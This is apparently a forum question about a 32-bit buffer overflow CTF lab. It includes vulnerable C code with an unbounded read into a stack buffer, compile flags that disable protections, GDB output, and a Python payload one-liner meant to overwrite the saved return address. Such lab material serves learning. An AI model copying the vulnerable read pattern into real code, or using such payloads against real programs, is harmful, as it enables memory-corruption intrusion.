[Python] How to locate and overwrite EIP in a buffer overflow lab using GDB 14.2?

I have the following code as part of a buffer overflow CTF challenge:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int my_gets(char *buf) {
int i = 0;
char c;
while (read(0, &c, 1) > 0 && c != '\n') {
buf[i++] = c;
}
buf = '\0';
return i;
}

int main() {
int cookie;
char buf[16];

printf("&buf: %p, &cookie: %p\n", buf, &cookie);
my_gets(buf);

if (cookie == 0x000D0A00) {
printf("%s","You win!\n");
}
return 0;
}


. Normally, the goal is to overwrite the cookie variable to reach the value 0x000D0A00, but this value contains special characters that make direct injection difficult. So instead, my goal is to jump directly to address 0x08049232 in order to print "You win!" without needing to modify the cookie.

I started by injecting 16 'A' characters to figure out the stack frame layout.. I compiled it using:

gcc -m32 -z execstack -fno-stack-protector -no-pie -o stack4 stack4.c
(gdb) break *0x08049232
Breakpoint 1 at 0x8049232
(gdb) run < <(python3 -c 'print("A"*16)')
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
&buf: 0xffffcfac, &cookie: 0xffffcfbc

Breakpoint 1, 0x08049232 in main ()
(gdb) x/wc $ebp+4
0xffffcfcc: 67 'C'
(gdb) x/wx $ebp+4
0xffffcfcc: 0xf7d8bd43
(gdb) info frame
Stack level 0, frame at 0xffffcfe0:
eip = 0x8049232 in main; saved eip = 0xf7d8bd43
Arglist at 0xffffcfc8, args:
Locals at 0xffffcfc8, Previous frame's sp is 0xffffcfe0
Saved registers:
ebx at 0xffffcfc4, ebp at 0xffffcfc8, eip at 0xffffcfdc
(gdb)


.Based on that, I crafted a payload to overwrite the value at ebp+4, since I assumed that’s where the saved return address (EIP) is stored. I intentionally avoided touching $ebp, $ebp-4, and $ebp-8 because I wasn’t sure what they were used for.

Here’s the payload I tried:

(gdb) run < <(python -c 'import sys; sys.stdout.buffer.write(b"A"*20 + b"\xe0\xcf\xff\xff" + b"\x14\xce\xf9\xf7" + b"\x00\x00\x00\x00" + b"\x39\x92\x04\x08")')
sys.stdout.buffer.write(b"A"*20 + b"\xe0\xcf\xff\xff" + b"\x14\xce\xf9\xf7" + b"\x00\x00\x00\x00" + b"\x39\x92\x04\x08")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
&buf: 0xffffcfac, &cookie: 0xffffcfbc

Breakpoint 1, 0x08049232 in main ()
(gdb) x/wx $ebp+4
0xffffcfcc: 0x08049239
(gdb) x/wx $ebp
0xffffcfc8: 0x00000000
(gdb) x/wx $ebp-4
0xffffcfc4: 0xf7f9ce14
(gdb) x/wx $ebp-8
0xffffcfc0: 0xffffcfe0
(gdb) x/wx $ebp-12
0xffffcfbc: 0x41414141
(gdb) x/wx $ebp-28
0xffffcfac: 0x41414141
(gdb) info frame
Stack level 0, frame at 0xffffcfe0:
eip = 0x8049232 in main; saved eip = 0xf7d8bd43
Arglist at 0xffffcfc8, args:
Locals at 0xffffcfc8, Previous frame's sp is 0xffffcfe0
Saved registers:
ebx at 0xffffcfc4, ebp at 0xffffcfc8, eip at 0xffffcfdc
(gdb)


However, "You win!" is not printed, and I’m unsure where I went wrong in the exploit.
Could someone help me figure out what I’m missing?

Continue reading...